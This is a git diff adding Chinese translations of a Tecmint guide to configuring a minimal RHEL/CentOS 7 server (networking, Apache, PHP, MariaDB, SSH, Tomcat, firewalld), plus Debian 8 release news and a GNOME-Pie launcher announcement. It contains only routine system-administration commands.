DNS1 = "[你的DNS 1]" + DNS2 = "[你的DNS 2]" + +更改了 ‘ifcfg-enp0s3’ 之后,它看起来像下面的图片。注意你的 IP,网关和 DNS 可能会变化,请和你的 ISP(译者注:互联网服务提供商,即给你提供接入的服务的电信或 IDC) 确认。保存并退出。 + +![网络详情](http://www.tecmint.com/wp-content/uploads/2015/04/Network-Details.jpeg) + +*网络详情* + +重启网络服务并检查 IP 是否和分配的一样。如果一切都顺利,用 Ping 查看网络状态。 + + # service network restart + +![重启网络服务](http://www.tecmint.com/wp-content/uploads/2015/04/Restarat-Network.jpeg) + +*重启网络服务* + +重启网络后,确认检查了 IP 地址和网络状态。 + + # ip addr show + # ping -c4 google.com + +![验证 IP 地址](http://www.tecmint.com/wp-content/uploads/2015/04/Verify-IP-Address.jpeg) + +*验证 IP 地址* + +![检查网络状态](http://www.tecmint.com/wp-content/uploads/2015/04/Check-Network-Status.jpeg) + +*检查网络状态* + +(LCTT 译注:关于设置静态 IP 地址的更多信息,请参照:http://www.linux.cn/article-3977-1.html ) + +### 3. 设置服务器的主机名称 ### + +下一步是更改 CentOS 服务器的主机名称。查看当前分配的主机名称。 + + # echo $HOSTNAME + +![查看系统主机名称](http://www.tecmint.com/wp-content/uploads/2015/04/Check-System-Hostname.jpeg) + +*查看系统主机名称* + +要设置新的主机名称,我们需要编辑 ‘/etc/hostsname’ 文件并用想要的名称替换旧的主机名称。 + + # vi /etc/hostname + +![在 CentOS 中设置主机名称](http://www.tecmint.com/wp-content/uploads/2015/04/Set-System-Hostname.jpeg) + +*在 CentOS 中设置主机名称* + +设置完了主机名称之后,务必注销后重新登录确认主机名称。登录后检查新的主机名称。 + + $ echo $HOSTNAME + +![确认主机名称](http://www.tecmint.com/wp-content/uploads/2015/04/Confirm-Hostname.jpeg) + +*确认主机名称* + +你也可以用 ‘hostname’ 命令查看你当前的主机名。 + + $ hostname + +(LCTT 译注:关于设置静态、瞬态和灵活主机名的更多信息,请参考:http://www.linux.cn/article-3937-1.html ) + +### 4. 更新或升级最小化安装的 CentOS ### + +这样做除了更新安装已有的软件最新版本以及安全升级,不会安装任何新的软件。总的来说更新(update)和升级(upgrade)是相同的,除了事实上 升级 = 更新 + 更新时进行废弃处理。 + + # yum update && yum upgrade + +![更新最小化安装的 CentOS 服务器](http://www.tecmint.com/wp-content/uploads/2015/04/Update-CentOS-Server.jpeg) + +*更新最小化安装的 CentOS 服务器* + +**重要**: 你也可以运行下面的命令,这不会弹出软件更新的提示,你也就不需要输入 ‘y’ 接受更改。 + +然而,查看服务器上会发生的变化总是一个好主意,尤其是在生产中。因此使用下面的命令虽然可以为你自动更新和升级,但并不推荐。 + + # yum -y update && yum -y upgrade + +### 5. 安装命令行 Web 浏览器 ### + +大部分情况下,尤其是在生产环境中,我们通常用没有 GUI 的命令行安装 CentOS,在这种情况下我们必须有一个能通过终端查看网站的命令行浏览工具。为了实现这个目的,我们打算安装名为 ‘links’ 的著名工具。 + + # yum install links + +![安装命令行浏览器](http://www.tecmint.com/wp-content/uploads/2015/04/Install-Commandline-Browser.jpeg) + +*Links: 命令行 Web 浏览器* + +请查看我们的文章 [用 links 工具命令行浏览 Web][4] 了解用 links 工具浏览 web 的方法和例子。 + +### 6. 安装 Apache HTTP 服务器 ### + +不管你因为什么原因使用服务器,大部分情况下你都需要一个 HTTP 服务器运行网站、多媒体、用户端脚本和很多其它的东西。 + + # yum install httpd + +![在 CentOS 上安装 Apache](http://www.tecmint.com/wp-content/uploads/2015/04/Install-Apache-on-CentOS.jpeg) + +*安装 Apache 服务器* + +如果你想更改 Apache HTTP 服务器的默认端口号(80)为其它端口,你需要编辑配置文件 ‘/etc/httpd/conf/httpd.conf’ 并查找以下面开始的行: + + LISTEN 80 + +把端口号 ‘80’ 改为其它任何端口(例如 3221),保存并退出。 + +![在 CentOS 上更改 Apache 端口](http://www.tecmint.com/wp-content/uploads/2015/04/Change-Apache-Port.jpeg) + +*更改 Apache 端口* + +增加刚才分配给 Apache 的端口通过防火墙,然后重新加载防火墙。 + +允许 http 服务通过防火墙(永久)。 + + # firewall-cmd –add-service=http + +允许 3221 号端口通过防火墙(永久)。 + + # firewall-cmd –permanent –add-port=3221/tcp + +重新加载防火墙。 + + # firewall-cmd –reload + +(LCTT 译注:关于 firewall 的进一步使用,请参照:http://www.linux.cn/article-4425-1.html ) + +完成上面的所有事情之后,是时候重启 Apache HTTP 服务器了,然后新的端口号才能生效。 + + # systemctl restart httpd.service + +现在添加 Apache 服务到系统层使其随系统自动启动。 + + # systemctl start httpd.service + # systemctl enable httpd.service + +(LCTT 译注:关于 systemctl 的进一步使用,请参照:http://www.linux.cn/article-3719-1.html ) + +如下图所示,用 links 命令行工具 验证 Apache HTTP 服务器。 + + # links 127.0.0.1 + +![验证 Apache 状态](http://www.tecmint.com/wp-content/uploads/2015/04/Verify-Apache-Status.jpeg) + +*验证 Apache 状态* + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/things-to-do-after-minimal-rhel-centos-7-installation/ + +作者:[Avishek Kumar][a] +译者:[ictlyh](https://github.com/ictlyh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ +[1]:http://www.tecmint.com/centos-7-installation/ +[2]:http://www.tecmint.com/redhat-enterprise-linux-7-installation/ +[3]:http://www.tecmint.com/enable-redhat-subscription-reposiories-and-updates-for-rhel-7/ +[4]:http://www.tecmint.com/command-line-web-browsers/ \ No newline at end of file diff --git a/published/201504/30 Things to Do After Minimal RHEL or CentOS 7 Installation--2.md b/published/201504/30 Things to Do After Minimal RHEL or CentOS 7 Installation--2.md new file mode 100644 index 0000000000..6eeff54bae --- /dev/null +++ b/published/201504/30 Things to Do After Minimal RHEL or CentOS 7 Installation--2.md @@ -0,0 +1,154 @@ +安装完最小化 RHEL/CentOS 7 后需要做的 30 件事情(二) +================================================================================ +### 7. 安装 PHP ### + +PHP 是用于 web 基础服务的服务器端脚本语言。它也经常被用作通用编程语言。在最小化安装的 CentOS 中安装 PHP: + + # yum install php + +安装完 php 之后,确认重启 Apache 服务以便在 Web 浏览器中渲染 PHP。 + + # systemctl restart httpd.service + +下一步,通过在 Apache 文档根目录下创建下面的 php 脚本验证 PHP。 + + # echo -e "" > /var/www/html/phpinfo.php + +现在在 Linux 命令行中查看我们刚才创建的 PHP 文件(phpinfo.php)。 + + # php /var/www/html/phpinfo.php + 或者 + # links http://127.0.0.1/phpinfo.php + +![验证 PHP](http://www.tecmint.com/wp-content/uploads/2015/04/Verify-PHP.jpeg) + +*验证 PHP* + +### 8. 安装 MariaDB 数据库 ### + +MariaDB 是 MySQL 的一个分支。RHEL 以及它的衍生版已经从 MySQL 迁移到 MariaDB。这是一个主流的数据库管理系统,也是一个你必须拥有的工具。不管你在配置怎样的服务器,或迟或早你都会需要它。在最小化安装的 CentOS 上安装 MariaDB,如下所示: + + # yum install mariadb-server mariadb + +![安装 MariaDB 数据库](http://www.tecmint.com/wp-content/uploads/2015/04/Install-MariaDB-Database.jpeg) + +*安装 MariaDB 数据库* + +启动 MariaDB 并配置它开机时自动启动。 + + # systemctl start mariadb.service + # systemctl enable mariadb.service + +允许 mysql(mariadb) 服务通过防火墙(LCTT 译注:如果你的 MariaDB 只用在本机,则务必不要设置防火墙允许通过,使用 UNIX Socket 连接你的数据库;如果需要在别的服务器上连接数据库,则尽量使用内部网络,而不要将数据库服务暴露在公开的互联网上。) + + # firewall-cmd –add-service=mysql + +现在是时候确保 MariaDB 服务器安全了(LCTT 译注:这个步骤主要是设置 mysql 管理密码)。 + + # /usr/bin/mysql_secure_installation + +![保护 MariaDB 数据库](http://www.tecmint.com/wp-content/uploads/2015/04/Secure-MariaDB.jpeg) + +*保护 MariaDB 数据库* + +请阅读: + +- [在 CentOS 7.0 上安装 LAMP (Linux, Apache, MariaDB, PHP/PhpMyAdmin)][1] +- [在 CentOS 7.0 上创建 Apache 虚拟主机][2] + +### 9. 安装和配置 SSH 服务器 ### + +SSH 即 Secure Shell,是 Linux 远程管理的默认协议。 SSH 是随最小化 CentOS 服务器中安装运行的最重要的软件之一。 + +检查当前已安装的 SSH 版本。 + + # SSH -V + +![检查 SSH 版本](http://www.tecmint.com/wp-content/uploads/2015/04/Check-SSH-Version.jpeg) + +*检查 SSH 版本* + +使用更安全的 SSH 协议,而不是默认的协议,并更改端口号进一步加强安全。编辑 SSH 的配置文件 ‘/etc/ssh/ssh_config’。 + +去掉下面行的注释或者从协议行中删除 1,然后行看起来像这样(LCTT 译注: SSH v1 是过期废弃的不安全协议): + + # Protocol 2,1 (原来) + Protocol 2 (现在) + +这个改变强制 SSH 使用 协议 2,它被认为比协议 1 更安全,同时也确保在配置中更改端口号 22 为其它。 + +![保护 SSH 登录](http://www.tecmint.com/wp-content/uploads/2015/04/Secure-SSH.jpeg) + +*保护 SSH 登录* + +取消 SSH 中的‘root login’, 只允许通过普通用户账号登录后才能使用 su 切换到 root,以进一步加强安全。请打开并编辑配置文件 ‘/etc/ssh/sshd_config’ 并更改 PermitRootLogin yes 为 PermitRootLogin no。 + + # PermitRootLogin yes (原来) + PermitRootLogin no (现在) + +![取消 SSH Root 登录](http://www.tecmint.com/wp-content/uploads/2015/04/Disable-SSH-Root-Login.jpeg) + +*取消 SSH Root 直接登录* + +最后,重启 SSH 服务启用更改。 + + # systemctl restart sshd.service + +请查看: + +- [加密和保护 SSH 服务器的 5 个最佳实践][3] +- [5 个简单步骤实现使用 SSH Keygen 无密码登录 SSH][4] +- [在 PuTTY 中实现 “无密码 SSH 密钥验证”][5] + +### 10. 安装 GCC (GNU 编译器集) ### + +GCC 即 GNU 编译器集,是一个 GNU 项目开发的支持多种编程语言的编译系统(LCTT 译注:在你需要自己编译构建软件时需要它)。在最小化安装的 CentOS 没有默认安装。运行下面的命令安装 gcc 编译器。 + + # yum install gcc + +![在 CentOS 上安装 GCC](http://www.tecmint.com/wp-content/uploads/2015/04/Install-GCC-in-CentOS.jpeg) + +*在 CentOS 上安装 GCC* + +检查安装的 gcc 版本。 + + # gcc --version + +![检查 GCC 版本](http://www.tecmint.com/wp-content/uploads/2015/04/Check-GCC-Version.jpeg) + +*检查 GCC 版本* + +### 11. 安装 Java ### + +Java是一种通用的基于类的,面向对象的编程语言。在最小化 CentOS 服务器中没有默认安装(LCTT 译注:如果你没有任何 Java 应用,可以不用装它)。按照下面命令从库中安装 Java。 + + # yum install java + +![在 CentOS 上安装 Java](http://www.tecmint.com/wp-content/uploads/2015/04/Install-java.jpeg) + +*安装 Java* + +检查安装的 Java 版本。 + + # java -version + +![检查 Java 版本](http://www.tecmint.com/wp-content/uploads/2015/04/Check-Java-Version.jpeg) + +*检查 Java 版本* + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/things-to-do-after-minimal-rhel-centos-7-installation/2/ + +作者:[Avishek Kumar][a] +译者:[ictlyh](https://github.com/ictlyh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ +[1]:http://www.tecmint.com/install-lamp-in-centos-7/ +[2]:http://www.tecmint.com/apache-virtual-hosting-in-centos/ +[3]:http://www.tecmint.com/5-best-practices-to-secure-and-protect-ssh-server/ +[4]:http://www.tecmint.com/ssh-passwordless-login-using-ssh-keygen-in-5-easy-steps/ +[5]:http://www.tecmint.com/ssh-passwordless-login-with-putty/ \ No newline at end of file diff --git a/published/201504/30 Things to Do After Minimal RHEL or CentOS 7 Installation--3.md b/published/201504/30 Things to Do After Minimal RHEL or CentOS 7 Installation--3.md new file mode 100644 index 0000000000..318d38b03c --- /dev/null +++ b/published/201504/30 Things to Do After Minimal RHEL or CentOS 7 Installation--3.md @@ -0,0 +1,277 @@ +安装完最小化 RHEL/CentOS 7 后需要做的 30 件事情(三) +================================================================================ +### 12. 安装 Apache Tomcat ### + +Tomcat 是由 Apache 设计的用来运行 Java HTTP web 服务器的 servlet 容器。按照下面的方法安装 tomcat,但需要指出的是安装 tomcat 之前必须先安装 Java。 + + # yum install tomcat + +![安装 Apache Tomcat](http://www.tecmint.com/wp-content/uploads/2015/04/Install-Apache-Tomcat.jpeg) + +*安装 Apache Tomcat* + +安装完 tomcat 之后,启动 tomcat 服务。 + + # systemctl start tomcat + +查看 tomcat 版本。 + + # /usr/sbin/tomcat version + +![查看 tomcat 版本](http://www.tecmint.com/wp-content/uploads/2015/04/Check-tomcat-version.jpeg) + +*查看 tomcat 版本* + +允许 tomcat 服务和默认端口(8080) 通过防火墙并重新加载设置。 + + # firewall-cmd –zone=public –add-port=8080/tcp --permanent + # firewall-cmd –reload + +现在该保护 tomcat 服务器了,添加一个用于访问和管理的用户和密码。我们需要编辑文件 ‘/etc/tomcat/tomcat-users.xml’。查看类似下面的部分: + + + .... + + + + + + + + + + + + +![保护 Tomcat](http://www.tecmint.com/wp-content/uploads/2015/04/Secure-Tomcat.jpeg) + +*保护 Tomcat* + +我们在这里添加用户 “tecmint” 到 tomcat 的管理员/管理组中,使用 “tecmint” 作为密码。先停止再启动 tomcat 服务以使更改生效,并添加 tomcat 服务到随系统启动。 + + # systemctl stop tomcat + # systemctl start tomcat + # systemctl enable tomcat.service + +请阅读: [在 RHEL/CentOS 7.0/6.x 中安装和配置 Apache Tomcat 8.0.9][5] + +### 13. 安装 Nmap 监视开放端口 ### + +Nmap 网络映射器用来分析网络,通过运行它可以发现网络的映射关系。nmap 并没有默认安装,你需要从库中安装它。 + + # yum install nmap + +![安装 Nmap 监视工具](http://www.tecmint.com/wp-content/uploads/2015/04/Install-Nmap.jpeg) + +*安装 Nmap 监视工具* + +列出主机中所有的开放端口以及对应使用它们的服务。 + + # namp 127.0.01 + +!监视开放端口](http://www.tecmint.com/wp-content/uploads/2015/04/Monitor-Open-Ports.jpeg) + +*监视开放端口* + +你也可以使用 firewall-cmd 列出所有端口,但我发现 nmap 更有用。 + + # firewall-cmd –list-ports + +![在防火墙中检查开放端口](http://www.tecmint.com/wp-content/uploads/2015/04/Check-Open-Ports-in-Firewall.jpeg) + +*在防火墙中检查开放端口* + +请阅读: [Nmap 监视开放端口的 29 个有用命令][1] + +### 14. 配置 FirewallD ### + +firewalld 是动态管理服务器的防火墙服务。在 CentOS 7 中 Firewalld 移除了 iptables 服务。在红帽企业版 Linux 和它的衍生版中默认安装了 Firewalld。如果有 iptables 的话为了使每个更改生效需要清空所有旧的规则然后创建新规则。 + +然而用firewalld,不需要清空并重新创建新规则就可以实现更改生效。 + +检查 Firewalld 是否运行。 + + # systemctl status firewalld + 或 + # firewall-cmd –state + +![检查 Firewalld 状态](http://www.tecmint.com/wp-content/uploads/2015/04/Check-Firewalld-Status.jpeg) + +*检查 Firewalld 状态* + +获取所有的区域列表。 + + # firewall-cmd --get-zones + +![检查 Firewalld 区域](http://www.tecmint.com/wp-content/uploads/2015/04/Check-Firewalld-Zones.jpeg) + +*检查 Firewalld 区域* + +在切换之前先获取区域的详细信息。 + + # firewall-cmd --zone=work --list-all + +![检查区域详情](http://www.tecmint.com/wp-content/uploads/2015/04/Check-Zone-Details.jpeg) + +*检查区域详情* + +获取默认区域。 + + # firewall-cmd --get-default-zone + +![Firewalld 默认区域](http://www.tecmint.com/wp-content/uploads/2015/04/Firewalld-Default-Zone.jpeg) + +*Firewalld 默认区域* + +切换到另一个区域,比如 ‘work’。 + + # firewall-cmd --set-default-zone=work + +![切换 Firewalld 区域](http://www.tecmint.com/wp-content/uploads/2015/04/Swich-Zones.jpeg) + +*切换 Firewalld 区域* + +列出区域中的所有服务。 + + # firewall-cmd --list-services + +![列出 Firewalld 区域的服务](http://www.tecmint.com/wp-content/uploads/2015/04/List-Firewalld-Service.jpeg) + +*列出 Firewalld 区域的服务* + +添加临时服务,比如 http,然后重载 firewalld。 + + # firewall-cmd --add-service=http + # firewall-cmd –reload + +![添加临时 http 服务](http://www.tecmint.com/wp-content/uploads/2015/04/Add-http-Service-Temporarily.jpeg) + +*添加临时 http 服务* + +添加永久服务,比如 http,然后重载 firewalld。 + + # firewall-cmd --add-service=http --permanent + # firewall-cmd --reload + +![添加永久 http 服务](http://www.tecmint.com/wp-content/uploads/2015/04/Add-http-Service-Temporarily.jpeg) + +*添加永久 http 服务* + +删除临时服务,比如 http。 + + # firewall-cmd --remove-service=http + # firewall-cmd --reload + +![删除临时 Firewalld 服务](http://www.tecmint.com/wp-content/uploads/2015/04/Add-http-Service-Permanent.jpeg) + +*删除临时 Firewalld 服务* + +删除永久服务,比如 http + + # firewall-cmd --zone=work --remove-service=http --permanent + # firewall-cmd --reload + +![删除永久服务](http://www.tecmint.com/wp-content/uploads/2015/04/Remove-Service-Parmanently.jpeg) + +*删除永久服务* + +允许一个临时端口(比如 331)。 + + # firewall-cmd --add-port=331/tcp + # firewall-cmd --reload + +![打开临时 Firewalld 端口](http://www.tecmint.com/wp-content/uploads/2015/04/Open-Port-Temporarily.jpeg) + +*打开临时端口* + +允许一个永久端口(比如 331)。 + + # firewall-cmd --add-port=331/tcp --permanent + # firewall-cmd --reload + +![打开永久 Firewalld 端口](http://www.tecmint.com/wp-content/uploads/2015/04/Open-Port-Permanent.jpeg) + +*打开永久端口* + +阻塞/移除临时端口(比如 331)。 + + # firewall-cmd --remove-port=331/tcp + # firewall-cmd --reload + +![移除 Firewalld 临时端口](http://www.tecmint.com/wp-content/uploads/2015/04/Remove-Port-Temporarily.jpeg) + +*移除临时端口* + +阻塞/移除永久端口(比如 331)。 + + # firewall-cmd --remove-port=331/tcp --permanent + # firewall-cmd --reload + +![移除 Firewalld 永久端口](http://www.tecmint.com/wp-content/uploads/2015/04/Remove-Port-Permanently.jpeg) + +*移除永久端口* + +停用 firewalld。 + + # systemctl stop firewalld + # systemctl disable firewalld + # firewall-cmd --state + +![在 CentOS 7 中停用 Firewalld](http://www.tecmint.com/wp-content/uploads/2015/04/Disable-Firewalld.jpeg) + +*停用 Firewalld 服务* + +启用 firewalld。 + + # systemctl enable firewalld + # systemctl start firewalld + # firewall-cmd --state + +![在 CentOS 7 中取消 Firewalld](http://www.tecmint.com/wp-content/uploads/2015/04/Enable-Firewalld.jpeg) + +*启用 Firewalld* + +- [如何在 RHEL/CentOS 7 中配置 ‘Firewalld’][2] +- [配置和管理 Firewalld 的有用 ‘Firewalld’ 规则][3] + +### 15. 安装 Wget ### + +Wget 是从 web 服务器获取(下载)内容的命令行工具。它是你使用 wget 命令获取 web 内容或下载任何文件必须要有的重要工具。 + + # yum install wget + +![安装 Wget 工具](http://www.tecmint.com/wp-content/uploads/2015/04/Install-Wget.png) + +*安装 Wget 工具* + +关于在终端中如何使用 wget 命令下载文件的方法和实际例子,请阅读[10 个 Wget 命令例子][4]。 + +### 16. 安装 Telnet 客户端### + +Telnet 是通过 TCP/IP 允许用户登录到相同网络上的另一台计算机的网络协议。和远程计算机的连接建立后,它就成为了一个允许你在自己的计算机上用所有提供给你的权限和远程主机交互的虚拟终端。(LCTT 译注:除非你真的需要,不要安装 telnet 服务,也不要用 telnet 客户端连接另外一个 telnet 服务,因为 telnet 是明文传输的。不过如下用 telnet 客户端检测另外一个服务的端口是否工作是常用的操作。) + +Telnet 对于检查远程计算机或主机的监听端口也非常有用。 + + # yum install telnet + # telnet google.com 80 + +![Telnet 端口检查](http://www.tecmint.com/wp-content/uploads/2015/04/telnet-testing.png) + +*Telnet 端口检查* + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/things-to-do-after-minimal-rhel-centos-7-installation/3/ + +作者:[Avishek Kumar][a] +译者:[ictlyh](https://github.com/ictlyh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ +[1]:http://linux.cn/article-2561-1.html +[2]:http://linux.cn/article-4425-1.html +[3]:http://www.tecmint.com/firewalld-rules-for-centos-7/ +[4]:http://linux.cn/article-4129-1.html +[5]:http://www.tecmint.com/install-apache-tomcat-in-centos/ \ No newline at end of file diff --git a/published/201504/Debian 8 Jessie released.md b/published/201504/Debian 8 Jessie released.md new file mode 100644 index 0000000000..48167b6712 --- /dev/null +++ b/published/201504/Debian 8 Jessie released.md @@ -0,0 +1,88 @@ +Debian 8 "Jessie" 发布 +===================================================== + +**2015年4月25日** ,在经历了近24个月的持续开发之后,Debian 项目自豪地宣布最新的稳定版本8的发布(代号 “**Jessie**” ),归功于[Debian安全团队][1]和[Debian长期支持][2]团队的工作,该版本将在接下来的5年内获得支持。 + +![Debian](http://i1-news.softpedia-static.com/images/news2/Debian-GNU-Linux-8-Jessie-Has-Been-Officially-Released-Download-Now-479331-2.jpg) + +“**Jessie**” 与新的默认 init 系统 `systemd` 一同到来。`systemd` 套件提供了许多激动人心的特性,如更快的启动速度、系统服务的 cgroups 支持、以及独立出部分服务的可能性。不过,`sysvinit` init系统在 “**Jessie**” 中依然可用。 + +在 “**Wheezy**” 中引入的 UEFI 支持(*“Unified Extensible Firmware Interface”*,统一的可扩展固件接口)同样在 “**Jessie**” 中得到了大幅改进。其中包含了许多已知固件 bug 的临时性解决方案,支持32位系统上的UEFI,也支持64位内核运行在32位 UEFI 固件上(后者仅被包含在我们的 `amd64/i386` “multi-arch” 安装介质中)。 + +自上个版本发布以来,Debian 项目的成员同样对我们的支持服务做出了重要改进。其中之一是[可浏览所有 Debian 的源码][3],该服务目前放在 [sources.debian.net][4]。当然,在超过20000个源码包里想要找到正确的文件确实令人望而生畏。因此,我们同样十分高兴地上线 [Debian 代码搜索][5],它放在 [codesearch.debian.net][6]。这两项服务都由一个完全重写并且更加反应敏捷的[包追踪系统][7]提供。 + +该版本包含大量的软件包更新,如: + +* Apache 2.4.10 +* Asterisk 11.13.1 +* GIMP 2.8.14 +* 一个GNOME桌面环境 3.14 的升级版本 +* GCC 编译器 4.9.2 +* Icedove 31.6.0 (一个 Mozilla Thunderbird 的再发布版本) +* Iceweasel 31.6.0esr (一个 Mozilla Firefox 的再发布版本) +* KDE Plasma Workspaces 和 KDE Applications 4.11.13 +* LibreOffice 4.3.3 +* Linux 3.16.7-ctk9 +* MariaDB 10.0.16 和 MySQL 5.5.42 +* Nagios 3.5.1 +* OpenJDK 7u75 +* Perl 5.20.2 +* PHP 5.6.7 +* PostgreSQL 9.4.1 +* Python 2.7.9 和 3.4.2 +* Samba 4.1.17 +* Tomcat 7.0.56 和 8.0.14 +* Xen Hypervisor 4.4.1 +* Xfce 4.10桌面环境 +* 超过43000个其它可供使用的软件包,从将近20100个源码包编译而来 + +与如此之多的软件包选择和照例的广泛架构支持,Debian 再次向它的目标:成为通用操作系统迈出正确的一步。Debian 适用于各种不同情形:从桌面系统到上网本;从开发服务器到集群系统;以及数据库,web,或存储服务器。同时,在此基础之上的质量保证工作,如对 Debian 上所有包的自动安装和升级测试,让 “**Jessie**” 可以满足用户拥有一个稳定的 Debian 版本的高期望值。 + +总共支持十种架构:32位PC/Intel IA-32(`i386`),64位PC/Intel EM64T / x86-64 (`amd64`),Motorola/IBM PowerPC (旧硬件的`powerpc`和新的64位`ppc64el`(little-endian)),MIPS (`mips` 大端和 `mipsel`小端),IBM S/390 (64位 `s390x`)以及 ARM 新老32位硬件的`armel`和`armhf`,加上给新64位 *“AArch64”* 架构的`arm64`。 + +### 想尝试一下? ### + +如果你仅仅是想在不安装的情况下体验 Debian 8 “**Jessie**”,你可以使用一个特殊的镜像,即 live 镜像,可以用在 CD,U 盘以及网络启动设置上。最先只有 `amd64` 和 `i386` 架构提供这些镜像。Live 镜像同样可以用来安装 Debian。更多信息请访问 [Debian Live 主页][8]。 + +但是如果你想安装 Debian 到你的计算机的话,有不少安装媒介可供你选择,如蓝光碟,DVD,CD 以及 U 盘,或者从网络安装。有几种桌面环境:GNOME,KDE Plasma 桌面及 Plasma 应用,Xfce 以及 LXDE,它们可以从CD镜像中安装,也可以从 CD/DVD 的启动菜单里选择想要的桌面环境。另外,同样提供了多架构 CD 和 DVD,可以从单一磁盘选择安装不同架构的系统。或者你还可以创建可启动 U 盘安装媒介(参看[安装指南][9]获得更多细节)。对云用户,Debian 还提供了[预构建 OpenStack 镜像][10]可供使用。 + +安装镜像现在同样可以通过 [bittorrent][11](推荐下载方式),[jigdo][12] 或 [HTTP][13] 下载,查看[Debian 光盘][14]获得更进一步的信息。“**Jessie**” 不久将提供实体 DVD,CD-ROM,以及无数[供应商][15]的蓝光碟。 + +### 升级 Debian ### + +如果从前一个版本 Debian 7(代号 “**Wheezy**” )升级到 Debian 8,大部分配置情况 apt-get 包管理工具都能够自动解决。Debian 系统一如既往地能够就地无痛升级,无需强制停机。强烈推荐阅读[发行注记][16]和[安装指南][17]来了解可能存在的问题,并了解安装和升级建议。发行注记会在发布后的几周内进一步改进,并翻译成其他语言。 + +## 关于 Debian ## + +Debian 是一个自由操作系统,由成千上万来自全世界的志愿者通过互联网协作开发。Debian 项目的关键力量是它的志愿者基础,它对 Debian 社群契约和自由软件的贡献,以及对提供最好的操作系统可能的承诺。Debian 8是其前进方向上又一重要一步。 + +## 联系信息 ## + +获取更多信息,请访问 Debian 主页 [https://www.debian.org/][18] 或发送电子邮件至。 + +-------------------------------------------------------------------------------- + +via: https://www.debian.org/News/2015/20150426 + +译者:[alim0x](https://github.com/alim0x) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://security-team.debian.org/ +[2]:https://wiki.debian.org/LTS +[3]:https://www.debian.org/News/weekly/2013/14/#sources +[4]:https://sources.debian.net/ +[5]:https://www.debian.org/News/weekly/2014/17/#DCS +[6]:https://codesearch.debian.net/ +[7]:https://tracker.debian.org/ +[8]:http://live.debian.net/ +[9]:https://www.debian.org/releases/jessie/installmanual +[10]:http://cdimage.debian.org/cdimage/openstack/current/ +[11]:https://www.debian.org/CD/torrent-cd/ +[12]:https://www.debian.org/CD/jigdo-cd/#which +[13]:https://www.debian.org/CD/http-ftp/ +[14]:https://www.debian.org/CD/ +[15]:https://www.debian.org/CD/vendors +[16]:https://www.debian.org/releases/jessie/releasenotes +[17]:https://www.debian.org/releases/jessie/installmanual +[18]:https://www.debian.org/ diff --git a/published/201504/GNOME-Pie 0.6 Application Launcher Released.md b/published/201504/GNOME-Pie 0.6 Application Launcher Released.md new file mode 100644 index 0000000000..199d13f1a6 --- /dev/null +++ b/published/201504/GNOME-Pie 0.6 Application Launcher Released.md @@ -0,0 +1,52 @@ +GNOME-Pie 0.6.1 应用启动器发布,酷炫新特性[多图+视频] +============================================= + +**Simon Schneegans 高兴地[宣布][1]他的 GNOME-Pie 0.6.1 已可供下载使用。GNOME-Pie 是一个可以在包括 GNOME 和 Unity 在内的多种桌面环境中作为应用启动器的小工具。** + +![GNOME-Pie](http://i1-news.softpedia-static.com/images/news2/GNOME-Pie-0-6-Application-Launcher-Released-with-Many-New-Features-Video-478914-3.jpg) + +GNOME-Pie 0.6.1 看起来是个主要版本更新,引入了许多新特性,比如支持半个或四分之一圆,可选择每个启动器想要的形状,也可以自动根据位置调整形状(圆形,半个或四分之一圆),以及多彩的动态图标。 + +此外,软件现在还适配若干类dock应用,包括elementary OS 的 Plank,Ubuntu 的 Unity,以及通用的 Docky。一些已有的 GNOME-Pie 主题也已更新,还引入了全新的为半圆启动器布局设计的主题 Simple,。 + +“Gnome-Pie 新版本已发布,实际上已经发布了两个版本:0.6.0和之后的0.6.1,修复了[issue #73][2],”Simon Schneegans 在发布声明上说道,“新版本修复了许多 bug,还带来了许多新特性!” + + + +### 现在就可在Ubuntu上安装GNOME-Pie ### + +Ubuntu 及其衍生版用户现在就可通过 Simon Schneegans 的PPA源安装 GNOME-Pie。只需打开终端,运行下列命令即可。GNOME-Pie 适用于 Ubuntu 14.04 LTS,14.10和15.04。 + + sudo add-apt-repository ppa:simonschneegans/testing + sudo apt-get update + sudo apt-get install gnome-pie + + +其他 GNU/Linux 发行版用户可以从官网下载 GNOME-Pie 0.6.1 的源代码,或者近期在系统的软件源中搜索新版GNOME-Pie。 + +![GNOME-Pie](http://i1-news.softpedia-static.com/images/news2/GNOME-Pie-0-6-Application-Launcher-Released-with-Many-New-Features-Video-478914-2.jpg) + +![GNOME-Pie](http://i1-news.softpedia-static.com/images/news2/GNOME-Pie-0-6-Application-Launcher-Released-with-Many-New-Features-Video-478914-4.jpg) + +![GNOME-Pie](http://i1-news.softpedia-static.com/images/news2/GNOME-Pie-0-6-Application-Launcher-Released-with-Many-New-Features-Video-478914-5.jpg) + +![GNOME-Pie](http://i1-news.softpedia-static.com/images/news2/GNOME-Pie-0-6-Application-Launcher-Released-with-Many-New-Features-Video-478914-6.jpg) + +![GNOME-Pie](http://i1-news.softpedia-static.com/images/news2/GNOME-Pie-0-6-Application-Launcher-Released-with-Many-New-Features-Video-478914-7.jpg) + +![GNOME-Pie](http://i1-news.softpedia-static.com/images/news2/GNOME-Pie-0-6-Application-Launcher-Released-with-Many-New-Features-Video-478914-8.jpg) + +![GNOME-Pie](http://i1-news.softpedia-static.com/images/news2/GNOME-Pie-0-6-Application-Launcher-Released-with-Many-New-Features-Video-478914-9.jpg) + +![GNOME-Pie](http://i1-news.softpedia-static.com/images/news2/GNOME-Pie-0-6-Application-Launcher-Released-with-Many-New-Features-Video-478914-10.jpg) + +-------------------------------------------------- + +via: http://news.softpedia.com/news/GNOME-Pie-0-6-Application-Launcher-Released-with-Many-New-Features-Video-478914.shtml + +译者:[alim0x](https://github.com/alim0x) 